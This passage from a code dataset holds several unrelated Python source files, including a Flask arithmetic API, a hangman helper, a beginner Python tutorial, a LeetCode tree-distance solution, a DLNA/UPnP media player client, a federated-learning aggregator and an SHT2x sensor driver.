index():\n return 'Usage;\\n<Operation>?A=<Value1>&B=<Value2>\\n'\n\n@app.route('/add', methods=['POST','GET'])\ndef addition():\n try:\n value1, value2 = take_inputs()\n result = value1 + value2\n except ValueError:\n warning_msg = take_inputs()\n return warning_msg\n else:\n if float(result).is_integer():\n result = int(result)\n return '%d \\n' % result\n return '%.3f \\n' % result\n\n\n@app.route('/sub', methods=['POST', 'GET'])\ndef subtraction():\n try:\n value1, value2 = take_inputs()\n result = value1 - value2\n except ValueError:\n warning_msg = take_inputs()\n return warning_msg\n else:\n if float(result).is_integer():\n result = int(result)\n return '%d \\n' % result\n return '%.3f \\n' % result\n\n\n@app.route('/mul', methods=['POST', 'GET'])\ndef multiplication():\n try:\n value1, value2 = take_inputs()\n result = value1 * value2\n except ValueError:\n warning_msg = take_inputs()\n return warning_msg\n else:\n if float(result).is_integer():\n result = int(result)\n return '%d \\n' % result\n return '%.3f \\n' % result\n\n\n@app.route('/div', methods=['POST', 'GET'])\ndef division():\n try:\n value1, value2 = take_inputs()\n try:\n result = ((value1)/(value2))\n except ZeroDivisionError:\n warning_msg = \"B's value shouldn't be zero! \\n\"\n return warning_msg\n except ValueError:\n warning_msg = take_inputs()\n return warning_msg\n else:\n if float(result).is_integer():\n result = int(result)\n return '%d \\n' % result\n return '%.3f \\n' % result\n\n\nif __name__ == \"__main __\":\n app.run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"274748726","text":"import os\r\nimport random\r\n\r\ndef choose_word_list():\r\n file_names = os.listdir(\"data\")\r\n category_position = 0\r\n for f in enumerate(file_names):\r\n file = \"data/\" + file_names[category_position]\r\n with open(file, 'r') as f:\r\n lines = f.read().splitlines()\r\n first_category = lines[0]\r\n print(str(int(category_position) +1) + \") \" + str(first_category))\r\n category_position += 1\r\n \r\n \r\n \r\n\r\n choice = input(\"which one? \")\r\n choice = int(choice)-1\r\n\r\n file = \"data/\" + file_names[choice]\r\n\r\n with open(file, 'r') as f:\r\n lines = f.read().splitlines()\r\n\r\n #print(lines)\r\n\r\n category = lines[0]\r\n puzzle = random.choice(lines[1:])\r\n\r\n print(category)\r\n print(puzzle)\r\nchoose_word_list()\r\n","sub_path":"hangman/more_file_io.py","file_name":"more_file_io.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"606219033","text":"import numpy as np\r\n\r\ndef preprocessing_function(x):\r\n return x / 255.\r\n\r\ninput_config = {\r\n 'target_size': (224, 224),\r\n 'color_mode': 'RGB',\r\n 'im_framework': 'opencv',\r\n 'reference_image': 247. * np.ones((1, 224, 224, 3))\r\n}\r\n\r\ncustom_objects = None\r\n\r\nclass_map = {0: 'Normal', 1: 'Pneumonia'}","sub_path":"Imaging/backup/pneumonia_config.py","file_name":"pneumonia_config.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"647588787","text":"from datetime import datetime\nimport os\nimport resource\nimport sys\n\n# CONSTANTS\n__VERSION__ = \"0.0.1\"\n__NAME__ = \"Spardaqus\"\nROOT_DIR = os.path.dirname(os.path.abspath(__file__))\nEXITONERROR = True\nRSS_MEMORY_BASE = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\nRSS_MEMORY_DIVISOR = 1024.0 if sys.platform == \"darwin\" else 1.0 if sys.platform == \"linux\" else 1.0\nPYSPARK_REQUIRED_PACKAGES = \"org.apache.spark:spark-sql-kafka-0-10_2.11:2.4.4 \" \\\n \"pyspark-shell \"\nSPARK_REQUIRED_EXTRACLASS = \"kafka-clients-0.10.0.1.jar\"\n\n# Dynamically changed by the system; don't mess with these\nLOGGER = None\nMAX_RSS_MEMORY_USED = 0.0\nLAST_RSS_MEMORY_USED = 0.0\nSETTINGS_CACHE = {}\nCACHED_SETTINGS = {}\nKILLSIG = False\n\n# Adjustable if you know what you are doing\nMAX_SPLUNK_BATCH_SIZE = 100000000\nSPLUNK_BATCH_SIZE = 1\n","sub_path":"spardaqus/globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"188752942","text":"# Function Without Argument\r\n\r\ndef Function1():\r\n print('My Name Is Bhavy Jilka')\r\n\r\n\r\nFunction1()\r\nFunction1()\r\n\r\n\r\n# Function With Argument\r\n\r\ndef Function2(name):\r\n print('Name is :', name)\r\n\r\n\r\nFunction2('Bhavy Jilka')\r\n\r\n\r\n# Example With Return Statement\r\n\r\ndef Function3(a):\r\n return a\r\n\r\n\r\na = Function3('Bhavy Jilka')\r\nprint(a)\r\n\r\n\r\n# Example With Multiple Return Statement\r\n\r\ndef Function4():\r\n name1 = 'Bhavy Jilka'\r\n contact = 9724462078\r\n return name1, contact\r\n\r\n\r\nname1, contact = Function4()\r\nprint('Name :', name1)\r\nprint('Contact :', contact)\r\n\r\n\r\n# Default Arguments Example\r\n\r\ndef ex(b=10, c=20):\r\n print(b + c)\r\n\r\n\r\nex(30, 50)\r\nex()\r\n\r\n\r\n# Keyword Arguments\r\n\r\ndef ex1(x, y):\r\n print('Sum Is :', x + y)\r\n\r\nex1(y=50, x=30)\r\n\r\n\r\n# Variable Length Arguments\r\n\r\ndef add(*number):\r\n sum = 0\r\n\r\n for n in number:\r\n sum = sum + n\r\n print(\"Sum :\", sum)\r\n\r\nadd(10, 30)\r\nadd(10, 30, 50)\r\n\r\n#Example With Keyword Arguments\r\n\r\ndef func(**arg):\r\n for i,j in arg.items():\r\n print(i,j)\r\n\r\nfunc(Name ='Bhavy',Lastname = 'Jilka')\r\n\r\n#Scope Of Variables\r\n\r\ndef Function5():\r\n v=10\r\n print('Value Inside Function :',v)\r\n\r\nz=15\r\nFunction5()\r\nprint('Value Outside Function :',z)\r\n\r\n#Modules In Python\r\n\r\nimport mymodule\r\n\r\nname =mymodule. bj[\"name\"]\r\nprint(name)\r\n\r\n#Arithmetic Operator\r\n\r\nm=10\r\nn=7\r\n\r\nprint('M+N : ',m+n)\r\nprint('M-N : ',m-n)\r\nprint('M*N : ',m*n)\r\nprint('M/N : ',m/n)\r\nprint('M//N : ',m//n)\r\nprint('M**N : ',m**n)\r\n\r\n#Comparison Operators\r\n\r\nd = 20\r\ne = 12\r\n\r\nprint('d > e is ', d > e )\r\nprint('d < e is ', d < e )\r\nprint('d == e is ', d == e )\r\nprint('d != e is ', d != e )\r\nprint('d >= e is ', d >= e )\r\nprint('d <= e is ', d <= e )\r\n\r\n#Logical Operators\r\n\r\n#Example of And\r\na1=10\r\na2=20\r\na3=30\r\n\r\nif a1>a2 and a1>a3:\r\n print('A1 is the largest number.')\r\nif a2>a1 and a2>a3:\r\n print('A2 is largest number.')\r\nif a3>a1 and a3>a2:\r\n print('A3 is largest number.')\r\n\r\n#Example Of Or\r\n\r\nch = input(\"Enter a character : \")\r\n\r\nif(ch=='A' or ch=='a' or ch=='e' or ch=='E' or ch=='i' or ch=='I' or ch=='o' or ch=='O' or ch=='u' or ch=='U'):\r\n print(ch,'Is a Vowel')\r\nelse:\r\n print(ch,'Is a consonant')\r\n\r\n#membership operators\r\n\r\nb1=10\r\nb2=7\r\nlist2=[10,20,30,40,50]\r\n\r\nprint(b1 in list2)\r\nprint(b2 in list2)\r\nprint(b2 not in list2)\r\n\r\n#Identity Operators\r\nc1=20\r\nc2=20\r\n\r\nprint(c1 is c2)\r\nprint(c1 is not c2)","sub_path":"taskk4.py","file_name":"taskk4.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"472046622","text":"# title: sum-of-distances-in-tree\n# detail: https://leetcode.com/submissions/detail/408925711/\n# datetime: Thu Oct 15 13:03:59 2020\n# runtime: 400 ms\n# memory: 25.8 MB\n\nclass Solution:\n def sumOfDistancesInTree(self, N: int, edges: List[List[int]]) -> List[int]:\n g = collections.defaultdict(list)\n for i, j in edges:\n g[i].append(j)\n g[j].append(i)\n \n def dfs(i, parent):\n children = g[i]\n cnt, dist = 1, 0\n for j, child in enumerate(children):\n if child == parent:\n children[j] = None\n continue\n cnt1, dist1 = dfs(child, i)\n children[j] = [child, cnt1, dist1 + cnt1]\n cnt += cnt1\n dist += dist1 + cnt1\n children.append([-1, cnt, dist])\n return cnt, dist\n \n def dfs2(i, p_cnt, p_dist):\n children = g[i]\n i_cnt, i_dist = children[-1][1], children[-1][2]\n result[i] = i_dist + p_dist + p_cnt\n for j, child in enumerate(children):\n if child is None or child[0] == -1:\n continue\n c_cnt = p_cnt + i_cnt - child[1]\n c_dist = p_dist + p_cnt + i_dist - child[2]\n dfs2(child[0], c_cnt, c_dist)\n \n root = 0 \n # root = random.randint(0, N - 1)\n dfs(root, -1)\n result = [0] * N\n dfs2(root, 0, 0)\n return result","sub_path":"leetcode/sum-of-distances-in-tree/408925711.py","file_name":"408925711.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"650788853","text":"#!/usr/bin/python\n\n# @file dlnap.py\n# @author cherezov.pavel@gmail.com\n# @brief Python over the network media player to playback on DLNA UPnP devices.\n\n# Change log:\n# 0.1 initial version.\n# 0.2 device renamed to DlnapDevice; DLNAPlayer is disappeared.\n# 0.3 debug output is added. Extract location url fixed.\n# 0.4 compatible discover mode added.\n# 0.5 xml parser introduced for device descriptions\n# 0.6 xpath introduced to navigate over xml dictionary\n# 0.7 device ip argument introduced\n# 0.8 debug output is replaced with standard logging\n\n__version__ = \"0.8\"\n\nimport re\nimport sys\nimport time\nimport socket\nimport select\nimport logging\nimport traceback\nfrom contextlib import contextmanager\n\nimport os\n\npy3 = sys.version_info[0] == 3\nif py3:\n from urllib.request import urlopen\nelse:\n from urllib2 import urlopen\n\nSSDP_GROUP = (\"239.255.255.250\", 1900)\nURN_AVTransport = \"urn:schemas-upnp-org:service:AVTransport:1\"\nSSDP_ALL = \"ssdp:all\"\n\ndef _get_port(location):\n \"\"\" Extract port number from url.\n\n location -- string like http://anyurl:port/whatever/path\n return -- port number\n \"\"\"\n port = re.findall('http://.*?:(\\d+).*', location)\n return int(port[0]) if port else 80\n\ndef _get_tag_value(x, i = 0):\n \"\"\" Get the nearest to 'i' position xml tag name.\n\n x -- xml string\n i -- position to start searching tag from\n return -- (tag, value) pair.\n e.g\n <d>\n <e>value4</e>\n </d>\n result is ('d', '<e>value4</e>')\n \"\"\"\n x = x.strip()\n value = ''\n tag = ''\n\n # skip <? > tag\n if x[i:].startswith('<?'):\n i += 2\n while i < len(x) and x[i] != '<':\n i += 1\n\n # check for empty tag like '</tag>'\n if x[i:].startswith('</'):\n i += 2\n in_attr = False\n while i < len(x) and x[i] != '>':\n if x[i] == ' ':\n in_attr = True\n if not in_attr:\n tag += x[i]\n i += 1\n return (tag, '', x[i+1:])\n\n # not an xml, treat like a value\n if not x[i:].startswith('<'):\n return ('', x[i:], '')\n\n i += 1 # <\n\n # read first open tag\n in_attr = False\n while i < len(x) and x[i] != '>':\n # get rid of attributes\n if x[i] == ' ':\n in_attr = True\n if not in_attr:\n tag += x[i]\n i += 1\n\n i += 1 # >\n\n while i < len(x):\n value += x[i]\n if x[i] == '>' and value.endswith('</' + tag + '>'):\n # Note: will not work with xml like <a> <a></a> </a>\n close_tag_len = len(tag) + 2 # />\n value = value[:-close_tag_len]\n break\n i += 1\n return (tag, value[:-1], x[i+1:])\n\ndef _xml2dict(s):\n \"\"\" Convert xml to dictionary.\n\n <?xml version=\"1.0\"?>\n <a any_tag=\"tag value\">\n <b> <bb>value1</bb> </b>\n <b> <bb>value2</bb> </b>\n </c>\n <d>\n <e>value4</e>\n </d>\n <g>value</g>\n </a>\n\n =>\n\n { 'a':\n {\n 'b': [ {'bb':value1}, {'bb':value2} ],\n 'c': [],\n 'd':\n {\n 'e': [value4]\n },\n 'g': [value]\n }\n }\n \"\"\"\n d = {}\n while s:\n tag, value, s = _get_tag_value(s)\n value = value.strip()\n isXml, dummy, dummy2 = _get_tag_value(value)\n if tag not in d:\n d[tag] = []\n if not isXml:\n if not value:\n continue\n d[tag].append(value.strip())\n else:\n if tag not in d:\n d[tag] = []\n d[tag].append(_xml2dict(value))\n return d\n\ns = \"\"\"\n <?xml version=\"1.0\"?>\n <a any_tag=\"tag value\">\n <b><bb>value1</bb></b>\n <b><bb>value2</bb> <v>value3</v></b>\n </c>\n <d>\n <e>value4</e>\n </d>\n <g>value</g>\n </a>\n\"\"\"\n\ndef _xpath(d, path):\n \"\"\" Return value from xml dictionary at path.\n\n d -- xml dictionary\n path -- string path like root/device/serviceList/service@serviceType=URN_AVTransport/controlURL\n return -- value at path or None if path not found\n \"\"\"\n\n for p in path.split('/'):\n tag_attr = p.split('@')\n tag = tag_attr[0]\n if tag not in d:\n return None\n\n attr = tag_attr[1] if len(tag_attr) > 1 else ''\n if attr:\n a, aval = attr.split('=')\n for s in d[tag]:\n if s[a] == [aval]:\n d = s\n break\n else:\n d = d[tag][0]\n return d\n\ndef _get_control_url(xml):\n \"\"\" Extract AVTransport contol url from device description xml\n\n xml -- device description xml\n return -- control url or empty string if wasn't found\n \"\"\"\n return _xpath(xml, 'root/device/serviceList/service@serviceType={}/controlURL'.format(URN_AVTransport))\n\n@contextmanager\ndef _send_udp(to, payload):\n \"\"\" Send UDP message to group\n\n to -- (host, port) group to send to payload to\n payload -- message to send\n \"\"\"\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n sock.sendto(payload.encode(), to)\n yield sock\n sock.close()\n\ndef _send_tcp(to, payload):\n \"\"\" Send TCP message to group\n\n to -- (host, port) group to send to payload to\n payload -- message to send\n \"\"\"\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect(to)\n sock.sendall(payload.encode())\n finally:\n sock.close()\n\ndef _get_location_url(raw):\n \"\"\" Extract device description url from discovery response\n\n raw -- raw discovery response\n return -- location url string\n \"\"\"\n for d in raw.split('\\r\\n'):\n if d.lower().startswith('location:'):\n return re.findall('location:\\s*(.*)\\s*', d, re.I)[0]\n return ''\n\ndef _get_friendly_name(xml):\n \"\"\" Extract device name from description xml\n\n xml -- device description xml\n return -- device name\n \"\"\"\n return _xpath(xml, 'root/device/friendlyName')\n\nclass DlnapDevice:\n \"\"\" Represents DLNA/UPnP device.\n \"\"\"\n\n def __init__(self, raw, ip):\n self.__logger = logging.getLogger(self.__class__.__name__)\n self.__logger.info('=> New DlnapDevice (ip = {}) initialization..'.format(ip))\n\n self.__raw = raw.decode()\n self.ip = ip\n self.port = None\n self.control_url = None\n self.name = 'Unknown'\n self.has_av_transport = False\n\n try:\n self.location = _get_location_url(self.__raw)\n self.__logger.info('location: {}'.format(self.location))\n\n self.port = _get_port(self.location)\n self.__logger.info('port: {}'.format(self.port))\n\n raw_desc_xml = urlopen(self.location).read().decode()\n\n self.__desc_xml = _xml2dict(raw_desc_xml)\n self.__logger.debug('description xml: {}'.format(self.__desc_xml))\n\n self.name = _get_friendly_name(self.__desc_xml)\n self.__logger.info('friendlyName: {}'.format(self.name))\n\n self.control_url = _get_control_url(self.__desc_xml)\n self.__logger.info('control_url: {}'.format(self.control_url))\n\n self.has_av_transport = self.control_url is not None\n self.__logger.info('=> Initialization completed'.format(ip))\n except Exception as e:\n self.__logger.warning('DlnapDevice (ip = {}) init exception:\\n{}'.format(ip, traceback.format_exc()))\n\n def __repr__(self):\n return '{} @ {}'.format(self.name, self.ip)\n\n def __eq__(self, d):\n return self.name == d.name and self.ip == d.ip\n\n def _create_packet(self, action, payload):\n \"\"\" Create packet to send to device control url.\n\n action -- control action\n payload -- xml to send to device\n \"\"\"\n header = \"\\r\\n\".join([\n 'POST {} HTTP/1.1'.format(self.control_url),\n 'User-Agent: {}/{}'.format(__file__, __version__),\n 'Accept: */*',\n 'Content-Type: text/xml; charset=\"utf-8\"',\n 'HOST: {}:{}'.format(self.ip, self.port),\n 'Content-Length: {}'.format(len(payload)),\n 'SOAPACTION: \"{}#{}\"'.format(URN_AVTransport, action),\n 'Connection: close',\n '',\n payload,\n ])\n\n return header\n\n def set_current(self, url, instance_id = 0):\n \"\"\" Set media to playback.\n\n url -- media url\n instance_id -- device instance id\n \"\"\"\n payload = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body>\n <u:SetAVTransportURI xmlns:u=\"{}\">\n <InstanceID>{}</InstanceID>\n <CurrentURI>{}</CurrentURI>\n <CurrentURIMetaData />\n </u:SetAVTransportURI>\n </s:Body>\n </s:Envelope>\"\"\".format(URN_AVTransport, instance_id, url)\n\n packet = self._create_packet('SetAVTransportURI', payload)\n _send_tcp((self.ip, self.port), packet)\n\n def play(self, instance_id=0):\n \"\"\" Play media that was already set as current.\n\n instance_id -- device instance id\n \"\"\"\n payload = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body>\n <u:Play xmlns:u=\"{}\">\n <InstanceID>{}</InstanceID>\n <Speed>1</Speed>\n </u:Play>\n </s:Body>\n </s:Envelope>\"\"\".format(URN_AVTransport, instance_id)\n\n packet = self._create_packet('Play', payload)\n _send_tcp((self.ip, self.port), packet)\n\n def pause(self):\n pass\n\n def stop(self):\n pass\n\n def set_next(self, url):\n pass\n\n def next(self):\n pass\n\ndef discover(name = '', ip = '', timeout = 1, st = SSDP_ALL, mx = 3):\n \"\"\" Discover UPnP devices in the local network.\n\n name -- name or part of the name to filter devices\n timeout -- timeout to perform discover\n st -- st field of discovery packet\n mx -- mx field of discovery packet\n return -- list of DlnapDevice\n \"\"\"\n payload = \"\\r\\n\".join([\n 'M-SEARCH * HTTP/1.1',\n 'User-Agent: {}/{}'.format(__file__, __version__),\n 'HOST: {}:{}'.format(*SSDP_GROUP),\n 'Accept: */*',\n 'MAN: \"ssdp:discover\"',\n 'ST: {}'.format(st),\n 'MX: {}'.format(mx),\n '',\n ''])\n devices = []\n with _send_udp(SSDP_GROUP, payload) as sock:\n start = time.time()\n while True:\n if time.time() - start > timeout:\n # timed out\n break\n r, w, x = select.select([sock], [], [sock], 1)\n if sock in r:\n data, addr = sock.recvfrom(1024)\n if ip and addr[0] != ip:\n continue\n\n d = DlnapDevice(data, addr[0])\n if d not in devices:\n if not name or name.lower() in d.name.lower():\n devices.append(d)\n\n if ip:\n # no need in further searching by ip\n break\n elif sock in x:\n raise Exception('Getting response failed')\n else:\n # Nothing to read\n pass\n return devices\n\nif __name__ == '__main__':\n import getopt\n\n def usage():\n print('{} [--list] [--ip <device ip>] [-d[evice] <name>] [--all] [-t[imeout] <seconds>] [--play <url>]'.format(__file__))\n\n def version():\n print(__version__)\n\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"hvd:t:i:\", ['help', 'version', 'log=', 'ip=', 'play=', 'pause', 'stop', 'list', 'device=', 'timeout=', 'all'])\n except getopt.GetoptError:\n usage()\n sys.exit(1)\n\n device = ''\n url = ''\n timeout = 0.5\n action = ''\n logLevel = logging.WARN\n compatibleOnly = True\n ip = ''\n for opt, arg in opts:\n if opt in ('-h', '--help'):\n usage()\n sys.exit(0)\n elif opt in ('-v', '--version'):\n version()\n sys.exit(0)\n elif opt in ('--log'):\n if arg.lower() == 'debug':\n logLevel = logging.DEBUG\n elif arg.lower() == 'info':\n logLevel = logging.INFO\n elif arg.lower() == 'warn':\n logLevel = logging.WARN\n elif opt in ('--all'):\n compatibleOnly = False\n elif opt in ('-d', '--device'):\n device = arg\n elif opt in ('-t', '--timeout'):\n timeout = float(arg)\n elif opt in ('-i', '--ip'):\n ip = arg\n compatibleOnly = False\n timeout = 10\n elif opt in ('--list'):\n action = 'list'\n elif opt in ('--play'):\n action = 'play'\n url = arg\n elif opt in ('--pause'):\n action = 'pause'\n elif opt in ('--stop'):\n action = 'stop'\n\n logging.basicConfig(level=logLevel)\n\n st = URN_AVTransport if compatibleOnly else SSDP_ALL\n allDevices = discover(name=device, ip=ip, timeout=timeout, st=st)\n if not allDevices:\n print('No compatible devices found.')\n sys.exit(1)\n\n if action in ('', 'list'):\n print('Discovered devices:')\n for d in allDevices:\n print(' {} {}'.format('[a]' if d.has_av_transport else '[x]', d))\n sys.exit(0)\n\n d = allDevices[0]\n print(d)\n if action == 'play':\n try:\n d.set_current(url=url)\n d.play()\n except Exception as e:\n print('Device is unable to play media.')\n logging.warn('Play exception:\\n{}'.format(traceback.format_exc()))\n sys.exit(1)\n elif action == 'pause':\n d.pause()\n elif action == 'stop':\n d.stop()\n","sub_path":"dlnap/dlnap.py","file_name":"dlnap.py","file_ext":"py","file_size_in_byte":13413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"641014195","text":"#\n# Copyright 2016 The BigDL Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport pickle\nimport logging\nimport threading\nfrom torch import nn\nimport torch\nfrom bigdl.ppml.fl.nn.utils import ndarray_map_to_tensor_map\nfrom bigdl.dllib.utils.log4Error import invalidInputError\nfrom threading import Condition\n\n\nclass Aggregator(object):\n def __init__(self,\n client_num=1) -> None:\n self.model = None\n self.client_data = {'train':{}, 'eval':{}, 'pred':{}}\n self.server_data = {'train':{}, 'eval':{}, 'pred':{}}\n self.client_num = client_num\n self.condition = Condition()\n self._lock = threading.Lock()\n logging.info(f\"Initialized Pytorch aggregator [client_num: {client_num}]\")\n\n\n def set_meta(self, loss_fn, optimizer):\n with self._lock:\n self.set_loss_fn(loss_fn)\n optimizer_cls = pickle.loads(optimizer.cls)\n optimizer_args = pickle.loads(optimizer.args)\n self.set_optimizer(optimizer_cls, optimizer_args)\n\n\n def set_loss_fn(self, loss_fn):\n self.loss_fn = loss_fn\n\n def set_optimizer(self, optimizer_cls, optimizer_args):\n if len(list(self.model.parameters())) == 0:\n self.optimizer = None\n return\n self.optimizer = optimizer_cls(self.model.parameters(), **optimizer_args)\n\n def put_client_data(self, client_id, data, phase):\n self.condition.acquire()\n self.client_data[phase][client_id] = data\n logging.debug(f'server receive data [{client_id}], \\\ngot {len(self.client_data[phase])}/{self.client_num}')\n \n if len(self.client_data[phase]) == self.client_num: \n logging.debug('server received all client data, start aggregate')\n self.aggregate(phase)\n logging.debug('clearing client data')\n self.client_data[phase] = {}\n self.condition.notify_all() \n else:\n logging.debug(f'[{client_id}] waiting')\n self.condition.wait()\n self.condition.release()\n\n\n def aggregate(self, phase):\n input, target = [], None\n # to record the order of tensors with client ID\n for cid, ndarray_map in self.client_data[phase].items():\n for k, v in ndarray_map.items():\n if k == 'input':\n input.append((cid, torch.from_numpy(v)))\n elif k == 'target':\n target = torch.from_numpy(v)\n else:\n invalidInputError(False,\n f'Invalid type of tensor map key: {k},'\n f' should be input/target')\n # input is a list of tensors\n\n # x = torch.stack(input)\n # x = torch.sum(x, dim=0)\n # x.requires_grad = True\n # pred = self.model(x)\n\n # sort the input tensor list in order to keep the order info of client ID\n def sort_by_key(kv_tuple):\n return kv_tuple[0]\n \n input.sort(key=sort_by_key)\n tensor_list = []\n for cid, input_tensor in input:\n input_tensor.requires_grad = True\n tensor_list.append(input_tensor)\n\n if phase == 'train':\n pred = self.model(tensor_list)\n loss = self.loss_fn(pred, target)\n if self.optimizer is not None:\n self.optimizer.zero_grad()\n loss.backward()\n if self.optimizer is not None:\n self.optimizer.step()\n\n for cid, input_tensor in input:\n grad_map = {'grad': input_tensor.grad.numpy(), 'loss': loss.detach().numpy()}\n self.server_data['train'][cid] = ndarray_map_to_tensor_map(grad_map)\n elif phase == 'eval':\n pass\n elif phase == 'pred':\n pred = self.model(tensor_list)\n for cid, input_tensor in input:\n pred_map = {'pred': pred.detach().numpy()}\n self.server_data['pred'][cid] = ndarray_map_to_tensor_map(pred_map)\n else:\n invalidInputError(False,\n f'Invalid phase: {phase}, should be train/eval/pred')\n","sub_path":"python/ppml/src/bigdl/ppml/fl/nn/pytorch/aggregator.py","file_name":"aggregator.py","file_ext":"py","file_size_in_byte":4702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"123827032","text":"# This program is distributed under Apache License Version 2.0\n#\n# © Albertas Mickenas, 2016\n# mic@wemakethings.net\n# albertas@technariumas.lt\n#\n\nimport time\n\nclass SHT2x:\n\ti2c = []\n\tADDR = 64\n\n\tPOLYNOMIAL = 0x131 # POLYNOMIAL x8 + x5 + x4 +1.\n\n\tCMD_READ_TEMPERATURE_hold = 0xE3\n\tCMD_READ_HUMIDITY_hold = 0xE5\n\n\tCMD_READ_TEMPERATURE = 0xF3\n\tCMD_READ_HUMIDITY = 0xF5\n\tCMD_READ_REGISTER = 0xE7\n\tCMD_WRITE_REGISTER = 0xE6\n\tCMD_RESET \t\t\t = 0xFE\n\n\tdef __init__(self, _i2c):\n\t\tself.i2c = _i2c\n\n\tdef CheckCRC(self, buf):\n\t\tPOLYNOMIAL = 0x131 # POLYNOMIAL x8 + x5 + x4 +1.\n\t\tcrc = 0\n\t\tfor i in range(2):\n\t\t\tcrc ^= buf[i]\n\t\t\tfor bit in range(8):\n\t\t\t\tif (crc & 0x80):\n\t\t\t\t\tcrc = (crc << 1) ^ POLYNOMIAL\n\t\t\t\telse:\n\t\t\t\t\tcrc = (crc << 1)\n\t\treturn crc\n\n\tdef toTemperature(self, buf):\n\t\tif buf == False:\n\t\t\tprint(\"CRC Error...\\r\\n\")\n\t\t\treturn False\n\t\telse:\n\t\t\treturn -46.85 + 175.72 * ((buf[0] << 8) + buf[1]) /2**16\n\n\tdef toHumidity(self, buf):\n\t\tif buf == False:\n\t\t\tprint(\"CRC Error...\\r\\n\")\n\t\t\treturn False\n\t\telse:\n\t\t\treturn -6 + 125.0 * ((buf[0] << 8) + buf[1]) / 2**16\n\n\tdef decodeUserReg(self, buf):\n\t\treg = buf[0]\n\t\tret = []\n\t\tif(0b10000001 & reg == 0b10000001):\n\t\t\tret.append(\"11bits\")\n\t\telif(0b10000001 & reg == 0b10000000):\n\t\t\tret.append(\"RH 10bit T 13bit\")\n\t\telif(0b10000001 & reg == 0b00000001):\n\t\t\tret.append(\"RH 8bit T 12bit\")\n\t\telif(0b10000001 & reg == 0b00000000):\n\t\t\tret.append(\"RH 12bit T 14bit\")\n\t\t\n\t\tif(0b01000000 & reg == 0b01000000):\n\t\t\tret.append(\"VDD < 2.5\")\n\t\telse:\n\t\t\tret.append(\"VDD > 2.5\")\n\n\t\tif(0b00000100 & reg == 0b00000100):\n\t\t\tret.append(\"heater ON\")\n\t\telse:\n\t\t\tret.append(\"heater OFF\")\n\n\t\tif(0b00000010 & reg == 0b00000010):\n\t\t\tret.append(\"OTP reload disabled\")\n\t\telse:\n\t\t\tret.append(\"OTP reload enabled\")\n\n\t\treturn ret\n\n\tdef runI2CCommand(self, command, bytesToRead):\n\t\tb = bytearray(1)\n\t\tb[0] = command\n\n\t\tself.i2c.writeto(self.ADDR, b)\n\n\t\tif(bytesToRead > 0):\n\t\t\trecv = bytearray(bytesToRead)\n\t\t\tretryCounter = 0\n\t\t\tdone = False\n\t\t\twhile retryCounter < 15 and not done:\n\t\t\t\ttry:\n\t\t\t\t\tself.i2c.readfrom_into(self.ADDR, recv)\n\t\t\t\t\tdone = True\n\t\t\t\t\tretryCounter = retryCounter + 1\t\t\t\t\n\t\t\t\texcept:\n\t\t\t\t\ttime.sleep(0.01)\n\t\t\t#print(hex(recv[0])+' '+hex(recv[1])+' '+hex(recv[2]))\n\t\t\t#print(\"\\r\\n\")\n\t\t\tif (self.CheckCRC(recv) == recv[2]):\n\t\t\t\t#print('success...\\r\\n')\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\t#print('Failed...')\n\t\t\t\treturn False\n\t\t\treturn recv\n\n\tdef getTemperature(self):\n\t\treturn self.toTemperature(self.runI2CCommand(self.CMD_READ_TEMPERATURE, 3))\n\n\tdef getHumidity(self):\n\t\treturn self.toHumidity(self.runI2CCommand(self.CMD_READ_HUMIDITY, 3))\n\t\n\tdef getUserRegister(self):\n\t\treturn self.decodeUserReg(self.runI2CCommand(self.CMD_READ_REGISTER, 1))\n\n\tdef setUserRegister(self, register):\n\t\tb = bytearray(2)\n\t\tb[0] = self.CMD_WRITE_REGISTER\n\t\tb[1] = register & 0b11000111\n\t\tself.i2c.writeto(self.ADDR, b)\n\n\tdef reset(self):\n\t\tself.runI2CCommand(self.CMD_RESET, 0)\n\n","sub_path":"sht2x.py","file_name":"sht2x.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"158034725","text":"\"\"\"\nget a list of harddrive strings for every Host from rethinkdb\nconfert it to a dict and update it in rethinkdb\n\"\"\"\nimport rethinkdb as r\n# from collections import OrderedDict\nfrom pon import config\nCONFIG = 